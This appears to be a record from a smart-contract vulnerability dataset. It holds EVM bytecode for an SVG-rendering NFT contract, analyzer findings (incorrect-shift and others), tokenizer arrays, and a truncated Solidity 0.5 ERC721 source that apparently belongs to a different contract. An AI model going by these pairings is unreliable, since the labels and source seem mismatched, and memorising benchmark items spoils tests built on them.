03614b90565b81518110612bf157634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b0319168b612c0c876009614ce4565b612c17906004614b90565b81518110612c3557634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b0319168c612c50886009614ce4565b612c5b906005614b90565b81518110612c7957634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b604051602001612c9996959493929190614235565b60408051601f1981840301815291905288612cb5846009614ce4565b612cc0906006614b90565b81518110612cde57634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b03191689612cf9856009614ce4565b612d04906007614b90565b81518110612d2257634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b0319168a612d3d866009614ce4565b612d48906008614b90565b81518110612d6657634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b604051602001612d849493929190614270565b60408051601f198184030181529190529050612dac83612da48489614b90565b836000612e30565b5080612db781614e4e565b915050612ae7565b612dc7613526565b6001600160a01b0316612dd86123ba565b6001600160a01b031614612dfe5760405162461bcd60e51b815260040161049a90614aae565b6001600160a01b038116612e245760405162461bcd60e51b815260040161049a90614a68565b612e2d816137c1565b50565b81600081518110612e5157634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b03191684612e6c856009614ce4565b612e77906000614b90565b81518110612e9557634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350801561313f57600f60fa1b84612ec3856009614ce4565b612ece906001614b90565b81518110612eec57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350602160f81b84612f14856009614ce4565b612f1f906002614b90565b81518110612f3d57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350602d60f81b84612f65856009614ce4565b612f70906003614b90565b81518110612f8e57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350602d60f81b84612fb6856009614ce4565b612fc1906004614b90565b81518110612fdf57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600160fd1b84613007856009614ce4565b613012906005614b90565b8151811061303057634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350602d60f81b84613058856009614ce4565b613063906006614b90565b8151811061308157634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350602d60f81b846130a9856009614ce4565b6130b4906007614b90565b815181106130d257634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350601f60f91b846130fa856009614ce4565b613105906008614b90565b8151811061312357634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350613520565b8160018151811061316057634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b0319168461317b856009614ce4565b613186906001614b90565b815181106131a457634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350816002815181106131dc57634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b031916846131f7856009614ce4565b613202906002614b90565b8151811061322057634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053508160038151811061325857634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b03191684613273856009614ce4565b61327e906003614b90565b8151811061329c57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350816004815181106132d457634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b031916846132ef856009614ce4565b6132fa906004614b90565b8151811061331857634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053508160058151811061335057634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b0319168461336b856009614ce4565b613376906005614b90565b8151811061339457634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350816006815181106133cc57634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b031916846133e7856009614ce4565b6133f2906006614b90565b8151811061341057634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053508160078151811061344857634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b03191684613463856009614ce4565b61346e906007614b90565b8151811061348c57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350816008815181106134c457634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b031916846134df856009614ce4565b6134ea906008614b90565b8151811061350857634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053505b50505050565b3390565b60608161354f57506040805180820190915260018152600360fc1b6020820152613649565b8160005b8115613579578061356381614e4e565b91506135729050600a83614bcd565b9150613553565b6000816001600160401b038111156135a157634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156135cb576020820181803683370190505b5090505b8415613644576135e0600183614d83565b91506135ed600a86614e82565b6135f8906030614b90565b60f81b81838151811061361b57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535061363d600a86614bcd565b94506135cf565b925050505b919050565b80516060908061366e575050604080516020810190915260008152613649565b6000600361367d836002614b90565b6136879190614bcd565b613692906004614ce4565b905060006136a1826020614b90565b6001600160401b038111156136c657634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156136f0576020820181803683370190505b509050600060405180606001604052806040815260200161511d604091399050600181016020830160005b8681101561377c576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b83526004909201910161371b565b50600386066001811461379657600281146137a7576137b3565b613d3d60f01b6001198301526137b3565b603d60f81b6000198301525b505050918152949350505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60608161383657506040805180820190915260018152600360fc1b6020820152613649565b8160005b8115613859578061384a81614e4e565b915050600482901c915061383a565b600f6000826001600160401b0381111561388357634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156138ad576020820181803683370190505b509050825b861561393457868316600981116138d6576138ce816030614b90565b60f81b6138e5565b6138e1816037614b90565b60f81b5b836138ef84614de4565b9350838151811061391057634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600488901c9750506138b2565b5095945050505050565b6040518061040001604052806020905b606081526020019060019003908161394e5790505090565b60405180610180016040528060608152602001606081526020016060815260200160608152602001600015158152602001600061ffff168152602001600015158152602001600081526020016000815260200160008152602001600081526020016139cf61393e565b905290565b60408051610180810190915260608152600b6020820161394e565b8280546139fb90614df3565b90600052602060002090601f016020900481019282613a1d5760008555613a63565b82601f10613a3657805160ff1916838001178555613a63565b82800160010185558215613a63579182015b82811115613a63578251825591602001919060010190613a48565b50613a6f929150613a73565b5090565b5b80821115613a6f5760008155600101613a74565b600082601f830112613a98578081fd5b613aa3610400614aec565b8083835b6020808210613ab65750613ad6565b613ac38884358901613af1565b8552938401939190910190600101613aa7565b509095945050505050565b8035801515811461364957600080fd5b600082601f830112613b01578081fd5b8135613b14613b0f82614b1c565b614aec565b818152846020838601011115613b28578283fd5b816020850160208301379081016020019190915292915050565b600082601f830112613b52578081fd5b8151613b60613b0f82614b1c565b818152846020838601011115613b74578283fd5b613b85826020830160208701614d9a565b949350505050565b600060208284031215613b9e578081fd5b8135613ba981614ed8565b9392505050565b60006020808385031215613bc2578182fd5b82516001600160401b03811115613bd7578283fd5b8301601f81018513613be7578283fd5b613bf2610400614aec565b8082855b85811015613c1d57613c0b8983518701613b42565b84529285019290850190600101613bf6565b5090979650505050505050565b60008060408385031215613c3c578081fd5b82356001600160401b03811115613c51578182fd5b613c5d85828601613a88565b925050613c6c60208401613ae1565b90509250929050565b600080600080600060a08688031215613c8c578081fd5b85356001600160401b0380821115613ca2578283fd5b613cae89838a01613a88565b96506020880135915080821115613cc3578283fd5b613ccf89838a01613af1565b95506040880135915080821115613ce4578283fd5b50613cf188828901613af1565b93505060608601359150613d0760808701613ae1565b90509295509295909350565b600080600080600080600080610100898b031215613d2f578283fd5b88356001600160401b0380821115613d45578485fd5b613d518c838d01613a88565b995060208b0135915080821115613d66578485fd5b613d728c838d01613af1565b985060408b0135915080821115613d87578485fd5b50613d948b828c01613af1565b965050606089013594506080890135935060a0890135925060c08901359150613dbf60e08a01613ae1565b90509295985092959890939650565b60008060008060008060c08789031215613de6578384fd5b86356001600160401b0380821115613dfc578586fd5b613e088a838b01613a88565b97506020890135915080821115613e1d578586fd5b50613e2a89828a01613af1565b9550506040870135935060608701359250608087013580830b8114613e4d578283fd5b9150613e5b60a08801613ae1565b90509295509295509295565b600080600080600060a08688031215613e7e578283fd5b85356001600160401b0380821115613e94578485fd5b613ea089838a01613a88565b96506020880135915080821115613eb5578485fd5b50613ec288828901613af1565b959895975050505060408401359360608101359360809091013592509050565b600080600080600080600060e0888a031215613efc578081fd5b87356001600160401b0380821115613f12578283fd5b613f1e8b838c01613a88565b985060208a0135915080821115613f33578283fd5b50613f408a828b01613af1565b96505060408801359450606088013593506080880135925060a08801359150613f6b60c08901613ae1565b905092959891949750929550565b600060208284031215613f8a578081fd5b81356001600160401b03811115613f9f578182fd5b613b8584828501613af1565b600060208284031215613fbc578081fd5b81516001600160401b03811115613fd1578182fd5b613b8584828501613b42565b600060208284031215613fee578081fd5b81516001600160401b0380821115614004578283fd5b9083019060608286031215614017578283fd5b6140216060614aec565b82518281111561402f578485fd5b61403b87828601613b42565b8252506020830151915061404e82614ed8565b8160208201526040830151604082015280935050505092915050565b60006040828403121561407b578081fd5b6140856040614aec565b82518152602083015160208201528091505092915050565b6000602082840312156140ae578081fd5b5051919050565b600080604083850312156140c7578182fd5b50508035926020909101359150565b6000806000606084860312156140ea578081fd5b833592506020840135915060408401356001600160401b0381111561410d578182fd5b61411986828701613a88565b9150509250925092565b6000815180845261413b816020860160208601614d9a565b601f01601f19169290920160200192915050565b80546000906002810460018083168061416957607f831692505b602080841082141561418957634e487b7160e01b86526022600452602486fd5b81801561419d57600181146141ae576141db565b60ff198616895284890196506141db565b6141b788614b43565b60005b868110156141d35781548b8201529085019083016141ba565b505084890196505b50505050505092915050565b7f222c2022696d616765223a2022646174613a696d6167652f7376672b786d6c3b81526618985cd94d8d0b60ca1b602082015260270190565b6001600160f81b031991909116815260010190565b6001600160f81b0319968716815294861660018601529285166002850152908416600384015283166004830152909116600582015260060190565b60008551614282818460208a01614d9a565b6001600160f81b031995861692019182525091831660018301529091166002820152600301919050565b6000885160206142bf8285838e01614d9a565b8951918401916142d28184848e01614d9a565b89519201916142e48184848d01614d9a565b88519201916142f68184848c01614d9a565b87519201916143088184848b01614d9a565b865192019161431a8184848a01614d9a565b855192019161432c8184848901614d9a565b919091019a9950505050505050505050565b6000875160206143518285838d01614d9a565b8851918401916143648184848d01614d9a565b88519201916143768184848c01614d9a565b7f3c67207472616e73666f726d3d227472616e736c61746528323030203029223e920191825286516143ad81838501848b01614d9a565b631e17b39f60e11b92018181019290925285516143d08160248501898501614d9a565b85519201916143e58160248501848901614d9a565b919091016024019998505050505050505050565b6000845161440b818460208901614d9a565b6f1e3a32bc3a103c1e91189811103c9e9160811b9083019081528451614438816010840160208901614d9a565b6e111031b630b9b99e913130b9b2911f60891b60109290910191820152835161446881601f840160208801614d9a565b661e17ba32bc3a1f60c91b601f929091019182015260260195945050505050565b6000855161449b818460208a01614d9a565b6f1e3a32bc3a103c1e91189811103c9e9160811b90830190815285516144c8816010840160208a01614d9a565b7f2220636c6173733d226261736522207374796c653d2266696c6c3a200000000060109290910191820152845161450681602c840160208901614d9a565b61111f60f11b602c9290910191820152835161452981602e840160208801614d9a565b661e17ba32bc3a1f60c91b602e92909101918201526035019695505050505050565b662323a1a7a627a960c91b8152600781019190915260270190565b662123a1a7a627a960c91b8152600781019190915260270190565b6b0f644dcc2daca4474404460f60a31b815284516000906145a981600c850160208a01614d9a565b72111610113232b9b1b934b83a34b7b7111d101160691b600c918401918201526145de6145d9601f83018861414f565b6141e7565b905084516145f0818360208901614d9a565b8082019150507f222c202261747472696275746573223a205b7b2274726169745f74797065223a81527f2022446576696174696f6e222c202276616c7565223a2022000000000000000060208201528351614652816038840160208801614d9a565b63227d5d7d60e01b60389290910191820152603c019695505050505050565b6b0f644dcc2daca4474404460f60a31b8152845160009061469981600c850160208a01614d9a565b72111610113232b9b1b934b83a34b7b7111d101160691b600c918401918201526146c96145d9601f83018861414f565b905084516146db818360208901614d9a565b8082019150507f222c202261747472696275746573223a205b7b2274726169745f74797065223a815275101124b739b4b3b43a111610113b30b63ab2911d101160511b60208201528351614736816036840160208801614d9a565b63227d5d7d60e01b60369290910191820152603a019695505050505050565b6b0f644dcc2daca4474404460f60a31b8152835160009061477d81600c850160208901614d9a565b7f20284d656e65732c20476f6464657373206f66204b696e67646f6d7329222c20600c918401918201526f113232b9b1b934b83a34b7b7111d101160811b602c8201526147cd603c82018661414f565b6c1116101134b6b0b3b2911d101160991b815284519091506147f681600d840160208801614d9a565b7f222c202261747472696275746573223a205b7b2274726169745f74797065223a600d92909101918201527f202254797065222c202276616c7565223a20223f3f3f227d5d7d000000000000602d82015260470195945050505050565b600b60fb1b81526001810192909252602182015260410190565b6621a422a1a5a2a960c91b8152600781019190915260270190565b6821a7a9292aa82a27a960b91b8152600981019190915260290190565b600061015960f51b825282516148c2816002850160208701614d9a565b9190910160020192915050565b605960f81b81526001810192909252602182015260410190565b612c9960f11b81526002810192909252602282015260420190565b652127a92222a960d11b8152600681019190915260260190565b60007f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c0000008252825161495681601d850160208701614d9a565b91909101601d0192915050565b6550485241534560d01b8152600681019190915260260190565b6921a7a9292aa82a24a7a760b11b8152600a810191909152602a0190565b600067024a729a4a3a42a160c51b825282516149be816008850160208701614d9a565b9190910160080192915050565b612c1960f11b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6020808252600090610420830183820185845b84811015614a3b57601f19878503018352614a29848351614123565b93509184019190840190600101614a0d565b50919695505050505050565b918252602082015260400190565b600060208252613ba96020830184614123565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b90815260200190565b604051601f8201601f191681016001600160401b0381118282101715614b1457614b14614ec2565b604052919050565b60006001600160401b03821115614b3557614b35614ec2565b50601f01601f191660200190565b60009081526020902090565b600080821280156001600160ff1b0384900385131615614b7157614b71614e96565b600160ff1b8390038412811615614b8a57614b8a614e96565b50500190565b60008219821115614ba357614ba3614e96565b500190565b600060ff821660ff84168060ff03821115614bc557614bc5614e96565b019392505050565b600082614bdc57614bdc614eac565b500490565b60006001600160ff1b0381841382841380821686840486111615614c0757614c07614e96565b600160ff1b84871282811687830589121615614c2557614c25614e96565b858712925087820587128484161615614c4057614c40614e96565b87850587128184161615614c5657614c56614e96565b505050929093029392505050565b600081810b83820b82811383831382607f0484118282161615614c8957614c89614e96565b607f1985841282811686830586121615614ca557614ca5614e96565b868612925084820586128484161615614cc057614cc0614e96565b84607f0586128184161615614cd757614cd7614e96565b5050509102949350505050565b6000816000190483118215151615614cfe57614cfe614e96565b500290565b60008083128015600160ff1b850184121615614d2157614d21614e96565b6001600160ff1b0384018313811615614d3c57614d3c614e96565b50500390565b600081810b83820b8281128015607f19830184121615614d6457614d64614e96565b81607f018313811615614d7957614d79614e96565b5090039392505050565b600082821015614d9557614d95614e96565b500390565b60005b83811015614db5578181015183820152602001614d9d565b838111156135205750506000910152565b6000600160ff1b821415614ddc57614ddc614e96565b506000190190565b600081614ddc57614ddc614e96565b600281046001821680614e0757607f821691505b60208210811415614e2857634e487b7160e01b600052602260045260246000fd5b50919050565b60006001600160ff1b03821415614e4757614e47614e96565b5060010190565b6000600019821415614e4757614e47614e96565b600060ff821660ff811415614e7957614e79614e96565b60010192915050565b600082614e9157614e91614eac565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114612e2d57600080fdfe3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d22302030203832302031343630223e3c7374796c653e40666f6e742d66616365207b20666f6e742d66616d696c793a20436f7272757074696f6e73466f6e743b207372633a2075726c28223b20666f6e742d66616d696c793a20436f7272757074696f6e73466f6e743b20666f6e742d73697a653a20313070783b207d3c2f7374796c653e3c67207472616e73666f726d3d227363616c652834203429223e3c726563742077696474683d2232303522206865696768743d22333635222066696c6c3d2226237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b26237830303032653b4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d2230203020313634302031343630223e3c7374796c653e40666f6e742d66616365207b20666f6e742d66616d696c793a20436f7272757074696f6e73466f6e743b207372633a2075726c282226237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b26237830303041303b3b20666f6e742d66616d696c793a20436f7272757074696f6e73466f6e743b20666f6e742d73697a653a20313070783b207d3c2f7374796c653e3c67207472616e73666f726d3d227363616c652834203429223e3c726563742077696474683d2234313022206865696768743d22333635222066696c6c3d22222920666f726d617428226f70656e7479706522293b207d202e62617365207b2066696c6c3a20a2646970667358221220ac29b14ea894c21b0ec1cac9bdfbe1dcfdca01f1b0fd59185fe609f33cfd964a64736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2497, 3207, 2278, 2629, 2497, 25746, 26224, 2546, 17465, 2581, 6305, 2683, 2063, 2692, 2094, 14142, 6679, 18939, 14141, 22610, 2683, 2575, 14526, 2050, 8889, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2918, 21084, 1012, 14017, 1000, 1025, 8278, 24582, 2953, 21531, 9285, 11368, 8447, 2696, 1063, 3853, 19204, 9496, 1006, 21318, 3372, 17788, 2575, 19204, 3593, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 3193, 5651, 1006, 5164, 3638, 1007, 1025, 1065, 8278, 24582, 2953, 21531, 9285, 2850, 28282, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,809
0x95be1bf10b4d66d0f7f76f9635e1e36967652a56
/* _ _________ _______ _______ |\ /|( ( /|\__ __/( ___ )|\ /|( ____ \ | ) ( || \ ( | ) ( | ( ) || ) ( || ( \/ | | | || \ | | | | | | | || | | || (__ | | | || (\ \) | | | | | | || | | || __) | | | || | \ | | | | | /\| || | | || ( | (___) || ) \ |___) (___| (_\ \ || (___) || (____/\ (_______)|/ )_)\_______/(____\/_)(_______)(_______/ _______ _ _______ ( ___ )( ( /|( ____ \ | ( ) || \ ( || ( \/ | | | || \ | || (__ | | | || (\ \) || __) | | | || | \ || ( | (___) || ) \ || (____/\ (_______)|/ )_)(_______/ https://unique.one */ pragma solidity ^0.5.0; pragma experimental ABIEncoderV2; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ contract IERC721 is IERC165 { event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) public view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) public view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom( address from, address to, uint256 tokenId ) public; function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public; } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received( address operator, address from, uint256 tokenId, bytes memory data ) public returns (bytes4); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns 